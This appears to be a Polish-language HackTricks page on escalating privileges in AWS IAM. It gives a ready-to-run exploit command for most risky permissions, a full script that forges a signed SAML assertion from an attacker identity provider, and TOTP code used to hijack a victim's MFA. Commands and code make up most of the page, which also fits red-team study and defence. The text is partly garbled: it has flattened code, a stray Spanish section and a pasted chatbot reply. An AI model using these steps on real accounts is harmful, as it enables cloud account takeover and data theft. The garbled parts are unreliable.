AWS - IAM Privesc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

IAM

Aby uzyskać więcej informacji o IAM, sprawdź:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Daje możliwość utworzenia nowej wersji polityki IAM, omijając wymóg uprawnienia iam:SetDefaultPolicyVersion poprzez użycie flagi --set-as-default. Umożliwia to definiowanie niestandardowych uprawnień.

Exploit Command:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Wpływ: Bezpośrednio eskaluje uprawnienia, umożliwiając dowolne działanie na dowolnym zasobie.

iam:SetDefaultPolicyVersion

Pozwala zmienić domyślną wersję polityki IAM na inną istniejącą wersję, co może skutkować eskalacją uprawnień, jeśli nowa wersja nadaje więcej uprawnień.

Bash Command:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Wpływ: Indirect privilege escalation poprzez umożliwienie dodatkowych uprawnień.

iam:CreateAccessKey, (iam:DeleteAccessKey)

Pozwala na utworzenie access key ID i secret access key dla innego użytkownika, co może prowadzić do privilege escalation.

Wykorzystanie:

aws iam create-access-key --user-name <target_user>

Impact: Bezpośrednia eskalacja uprawnień przez przejęcie rozszerzonych uprawnień innego użytkownika.

Należy pamiętać, że użytkownik może mieć utworzone tylko 2 klucze dostępu, więc jeśli użytkownik już ma 2 klucze dostępu, będziesz potrzebować uprawnienia iam:DeleteAccessKey, aby usunąć jeden z nich, aby móc utworzyć nowy:

aws iam delete-access-key --uaccess-key-id <key_id>

iam:CreateVirtualMFADevice + iam:EnableMFADevice

Jeśli możesz utworzyć nowe wirtualne urządzenie MFA i włączyć je dla innego użytkownika, możesz w praktyce zarejestrować własne MFA dla tego użytkownika, a następnie zażądać sesji wspieranej przez MFA dla jego poświadczeń.

Eksploit:

# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>

# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impact: Bezpośrednia eskalacja uprawnień przez przejęcie rejestracji MFA użytkownika (a następnie użycie jego uprawnień).

iam:CreateLoginProfile | iam:UpdateLoginProfile

Pozwala na utworzenie lub zaktualizowanie profilu logowania, w tym ustawienie hasła do logowania do konsoli AWS, co prowadzi do bezpośredniej eskalacji uprawnień.

Exploit for Creation:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Exploit dla Update:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Impact: Bezpośrednia eskalacja uprawnień przez zalogowanie się jako “dowolny” użytkownik.

iam:UpdateAccessKey

Pozwala na włączenie wyłączonego access key, co może prowadzić do nieautoryzowanego dostępu, jeśli atakujący posiada ten wyłączony access key.

Exploit:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Wpływ: Bezpośrednia eskalacja uprawnień poprzez reaktywację kluczy dostępu.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Umożliwia generowanie lub resetowanie credentials dla konkretnych usług AWS (najczęściej CodeCommit). Te nie są AWS API keys: są to username/password credentials dla konkretnej usługi i można ich używać tylko tam, gdzie ta usługa je akceptuje.

Tworzenie:

aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com

Zapisz:

  • ServiceSpecificCredential.ServiceUserName
  • ServiceSpecificCredential.ServicePassword

Przykład:

# Find a repository you can access as the target
aws codecommit list-repositories

export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed

# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"

# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"

Uwaga: Hasło usługi często zawiera znaki takie jak +, / i =. Użycie interaktywnego promptu jest zwykle najprostsze. Jeśli osadzisz je w URL, najpierw zakoduj je jako URL.

W tym momencie możesz odczytać wszystko, do czego docelowy użytkownik ma dostęp w CodeCommit (np. a leaked credentials file). Jeśli uzyskasz AWS access keys z repo, skonfiguruj nowy profil AWS CLI z tymi kluczami, a następnie uzyskaj dostęp do zasobów (np. odczytaj flagę z Secrets Manager):

aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>

Resetowanie:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Wpływ: Privilege escalation do uprawnień docelowego użytkownika dla danej usługi (i potencjalnie dalej, jeśli pivotujesz używając danych pobranych z tej usługi).

iam:AttachUserPolicy || iam:AttachGroupPolicy

Pozwala na dołączanie polityk do użytkowników lub grup, bezpośrednio escalating privileges poprzez odziedziczenie uprawnień dołączonej polityki.

Exploit for User:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Exploit dla Grupy:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Wpływ: Bezpośrednia eskalacja uprawnień do wszystkiego, co polityka przyznaje.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Pozwala na przypisywanie lub dodawanie polityk do ról, użytkowników lub grup, umożliwiając bezpośrednią eskalację uprawnień przez przyznanie dodatkowych uprawnień.

Exploit for Role:

aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Exploit dla Inline Policies:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Możesz użyć polityki takiej jak:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

Wpływ: Bezpośrednia eskalacja uprawnień przez dodawanie uprawnień za pomocą polityk.

iam:AddUserToGroup

Pozwala na dodanie siebie do grupy IAM, eskalując uprawnienia poprzez dziedziczenie uprawnień grupy.

Exploit:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Wpływ: Bezpośrednia eskalacja uprawnień do poziomu uprawnień grupy.

iam:UpdateAssumeRolePolicy

Pozwala zmienić dokument assume role policy przypisany do roli, umożliwiając przejęcie tej roli i uzyskanie powiązanych z nią uprawnień.

Wykorzystanie:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Jeżeli polityka wygląda następująco, daje użytkownikowi uprawnienie do przyjęcia roli:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Wpływ: Bezpośrednia eskalacja uprawnień przez przejęcie uprawnień dowolnej roli.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Umożliwia przesłanie publicznego klucza SSH do uwierzytelniania w CodeCommit oraz dezaktywację urządzeń MFA, co może prowadzić do pośredniej eskalacji uprawnień.

Eksploit do przesłania klucza SSH:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Exploit do dezaktywacji MFA:

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Wpływ: Pośrednia eskalacja uprawnień poprzez umożliwienie dostępu do CodeCommit lub wyłączenie ochrony MFA.

iam:ResyncMFADevice

Pozwala na ponowną synchronizację urządzenia MFA, co może prowadzić do pośredniej eskalacji uprawnień przez manipulację ochroną MFA.

Polecenie Bash:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Wpływ: Pośrednia eskalacja uprawnień przez dodanie lub manipulację urządzeniami MFA.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Dzięki tym uprawnieniom możesz zmienić metadane XML połączenia SAML. Następnie możesz nadużyć federacji SAML, aby się zalogować jako dowolna rola, która jej ufa.

Zwróć uwagę, że przy tym uprawnieni użytkownicy nie będą mogli się zalogować. Jednak możesz pobrać XML, podmienić go na swój, zalogować się i przywrócić poprzednią konfigurację.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

End-to-end attack:

  1. Wypisz SAML provider i rolę, która mu ufa:
export AWS_REGION=${AWS_REGION:-us-east-1}

aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"

# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json

# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
  1. Sfałszuj IdP metadata + podpisane SAML assertion dla pary role/provider:
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml

# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
Rozwiń: /tmp/saml_forge.py pomocnik (metadata + signed assertion) ```python #!/usr/bin/env python3 from __future__ import annotations

import argparse import base64 import datetime as dt import json import os import subprocess import tempfile import uuid

from lxml import etree from signxml import XMLSigner, methods

def _run(cmd: list[str]) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return p.stdout

def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, “key.pem”) cert_path = os.path.join(tmpdir, “cert.pem”)

_run( [ “openssl”, “req”, “-x509”, “-newkey”, “rsa:2048”, “-keyout”, key_path, “-out”, cert_path, “-days”, “3650”, “-nodes”, “-subj”, “/CN=attacker-idp”, ] ) return key_path, cert_path

def _pem_cert_to_b64(cert_pem: str) -> str: lines = [] for line in cert_pem.splitlines(): if “BEGIN CERTIFICATE” in line or “END CERTIFICATE” in line: continue if line.strip(): lines.append(line.strip()) return “”.join(lines)

def make_metadata_xml(cert_b64: str) -> str: return f““” {cert_b64} “”“

def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: ns = { “saml2p”: “urn:oasis:names:tc:SAML:2.0:protocol”, “saml2”: “urn:oasis:names:tc:SAML:2.0:assertion”, }

issue_instant = dt.datetime.now(dt.timezone.utc) not_before = issue_instant - dt.timedelta(minutes=2) not_on_or_after = issue_instant + dt.timedelta(minutes=10)

resp_id = “” + str(uuid.uuid4()) assertion_id = “” + str(uuid.uuid4())

response = etree.Element(etree.QName(ns[“saml2p”], “Response”), nsmap=ns) response.set(“ID”, resp_id) response.set(“Version”, “2.0”) response.set(“IssueInstant”, issue_instant.isoformat()) response.set(“Destination”, “https://signin.aws.amazon.com/saml”)

issuer = etree.SubElement(response, etree.QName(ns[“saml2”], “Issuer”)) issuer.text = “https://attacker-idp.attacker.invalid/idp”

status = etree.SubElement(response, etree.QName(ns[“saml2p”], “Status”)) status_code = etree.SubElement(status, etree.QName(ns[“saml2p”], “StatusCode”)) status_code.set(“Value”, “urn:oasis:names:tc:SAML:2.0:status:Success”)

assertion = etree.SubElement(response, etree.QName(ns[“saml2”], “Assertion”)) assertion.set(“ID”, assertion_id) assertion.set(“Version”, “2.0”) assertion.set(“IssueInstant”, issue_instant.isoformat())

a_issuer = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Issuer”)) a_issuer.text = “https://attacker-idp.attacker.invalid/idp”

subject = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Subject”)) name_id = etree.SubElement(subject, etree.QName(ns[“saml2”], “NameID”)) name_id.set(“Format”, “urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified”) name_id.text = “attacker”

subject_conf = etree.SubElement(subject, etree.QName(ns[“saml2”], “SubjectConfirmation”)) subject_conf.set(“Method”, “urn:oasis:names:tc:SAML:2.0:cm:bearer”) subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[“saml2”], “SubjectConfirmationData”)) subject_conf_data.set(“NotOnOrAfter”, not_on_or_after.isoformat()) subject_conf_data.set(“Recipient”, “https://signin.aws.amazon.com/saml”)

conditions = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Conditions”)) conditions.set(“NotBefore”, not_before.isoformat()) conditions.set(“NotOnOrAfter”, not_on_or_after.isoformat())

audience_restriction = etree.SubElement(conditions, etree.QName(ns[“saml2”], “AudienceRestriction”)) audience = etree.SubElement(audience_restriction, etree.QName(ns[“saml2”], “Audience”)) audience.text = “https://signin.aws.amazon.com/saml”

authn_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AuthnStatement”)) authn_statement.set(“AuthnInstant”, issue_instant.isoformat()) authn_statement.set(“SessionIndex”, str(uuid.uuid4()))

authn_context = etree.SubElement(authn_statement, etree.QName(ns[“saml2”], “AuthnContext”)) authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[“saml2”], “AuthnContextClassRef”)) authn_context_class_ref.text = “urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport”

attribute_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AttributeStatement”))

attr_role = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_role.set(“Name”, “https://aws.amazon.com/SAML/Attributes/Role”) attr_role_value = etree.SubElement(attr_role, etree.QName(ns[“saml2”], “AttributeValue”)) attr_role_value.text = f“{role_arn},{principal_arn}“

attr_session = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_session.set(“Name”, “https://aws.amazon.com/SAML/Attributes/RoleSessionName”) attr_session_value = etree.SubElement(attr_session, etree.QName(ns[“saml2”], “AttributeValue”)) attr_session_value.text = “attacker-idp”

with open(key_pem, “rb”) as f: key_bytes = f.read() with open(cert_pem, “rb”) as f: cert_bytes = f.read()

signer = XMLSigner( method=methods.enveloped, signature_algorithm=“rsa-sha256”, digest_algorithm=“sha256”, c14n_algorithm=“http://www.w3.org/2001/10/xml-exc-c14n#”, ) signed_assertion = signer.sign( assertion, key=key_bytes, cert=cert_bytes, reference_uri=f“#{assertion_id}“, id_attribute=“ID”, )

response.remove(assertion) response.append(signed_assertion)

return etree.tostring(response, xml_declaration=True, encoding=“utf-8”)

def main() -> None: ap = argparse.ArgumentParser() ap.add_argument(“–role-arn”, required=True) ap.add_argument(“–principal-arn”, required=True) args = ap.parse_args()

with tempfile.TemporaryDirectory() as tmp: key_path, cert_path = _openssl_make_key_and_cert(tmp) cert_pem = open(cert_path, “r”, encoding=“utf-8”).read() cert_b64 = _pem_cert_to_b64(cert_pem)

metadata_xml = make_metadata_xml(cert_b64) saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) saml_b64 = base64.b64encode(saml_xml).decode(“ascii”)

print(json.dumps({“metadata_xml”: metadata_xml, “assertion_b64”: saml_b64}))

if name == “main”: main()

</details>

3. Zaktualizuj SAML provider metadata do certyfikatu IdP, przyjmij rolę i użyj zwróconych STS credentials:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml

# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"

# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
  1. Sprzątanie: przywróć poprzednie metadane:
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml

Warning

Aktualizacja metadanych dostawcy SAML jest zakłócająca: dopóki Twoje metadane są aktywne, uprawnieni użytkownicy SSO mogą nie być w stanie się uwierzytelnić.

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Niepewne) Jeśli atakujący ma te permissions, może dodać nowy Thumbprint, aby móc zalogować się do wszystkich ról ufających temu dostawcy.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

iam:PutUserPermissionsBoundary

To uprawnienie pozwala atakującemu zaktualizować permissions boundary użytkownika, potencjalnie eskalując jego uprawnienia i umożliwiając wykonywanie działań, które normalnie są ograniczone przez jego obecne uprawnienia.

aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>

Un ejemplo de una política que no aplica ninguna restricción es:


{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}

iam:PutRolePermissionsBoundary

Podmiot z uprawnieniem iam:PutRolePermissionsBoundary może ustawić permissions boundary na istniejącej roli. Ryzyko pojawia się, gdy ktoś z tym uprawnieniem zmieni boundary roli: może niewłaściwie ograniczyć operacje (powodując zakłócenia w działaniu usług) lub — jeśli przypisze permissive boundary — de facto rozszerzyć zakres działań roli i dokonać eskalacji uprawnień.

aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy

iam:CreateVirtualMFADevice, iam:EnableMFADevice, CreateVirtualMFADevice & sts:GetSessionToken

Atakujący tworzy wirtualne urządzenie MFA kontrolowane przez siebie i podłącza je do docelowego użytkownika IAM, zastępując lub omijając oryginalne MFA ofiary. Korzystając z seeda tego urządzenia MFA kontrolowanego przez atakującego, generuje ważne jednorazowe hasła i żąda tokena sesji uwierzytelnionej MFA za pomocą STS. Pozwala to atakującemu spełnić wymaganie MFA i uzyskać tymczasowe poświadczenia w imieniu ofiary, efektywnie doprowadzając do przejęcia konta pomimo wymuszonego MFA.

If the target user already has MFA, deactivate it (iam:DeactivateMFADevice):

aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME

Utwórz nowe virtual MFA device (zapisuje seed do pliku)

aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt

Wygeneruj dwa kolejne kody TOTP z pliku seed:

import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"

now = int(time.time())
print(totp(now))
print(totp(now + 30))

Włącz urządzenie MFA dla docelowego użytkownika, zastąp MFA_SERIAL_ARN, CODE1, CODE2:

aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2

Mogę pokazać jak wygenerować aktualny kod TOTP (używany jako token-code dla STS), ale nie mogę zgadywać ani wygenerować prawidłowego kodu bez Twojego secret (BASE32). Jeśli chcesz, podaj secret (uwaga: nie udostępniaj go publicznie) albo użyj jednego z poniższych przykładów lokalnie.

Najważniejsze: MFA/TOTP zwykle: digits=6, step=30s. Pamiętaj o poprawnym czasie systemowym.

Przykłady (zamień “BASE32SECRET” na swój secret):

  • oathtool (CLI): oathtool –totp -b “BASE32SECRET”

  • Python (pyotp): pip install pyotp python - <<‘PY’ import pyotp print(pyotp.TOTP(“BASE32SECRET”).now()) PY

  • Node.js (otplib): npm install otplib node -e “const { authenticator } = require(‘otplib’); console.log(authenticator.generate(‘BASE32SECRET’));”

Jak użyć z aws cli: aws sts get-session-token –serial-number arn:aws:iam::ACCOUNT_ID:mfa/USERNAME –token-code 123456

Jeśli chcesz, możesz wkleić swój BASE32 secret (tylko jeśli to bezpieczne) i wygeneruję kod lokalnie w tej sesji; lepiej jednak uruchomić powyższe polecenia na swojej maszynie.

import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")

Skopiuj wypisaną wartość jako TOKEN_CODE i poproś o sesyjny token MFA (STS):

aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE

Źródła

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks